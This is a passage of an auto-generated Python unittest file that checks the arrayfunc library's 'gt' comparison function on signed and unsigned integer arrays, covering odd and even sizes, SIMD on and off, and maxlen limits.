for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_i_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_i_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code i.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_I_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_I_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code I.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code I.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code I.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code I.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_I_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'I' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'I' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.I_min
maxval = arrayfunc.arraylimits.I_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'I' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('I', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('I', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('I', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code I.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
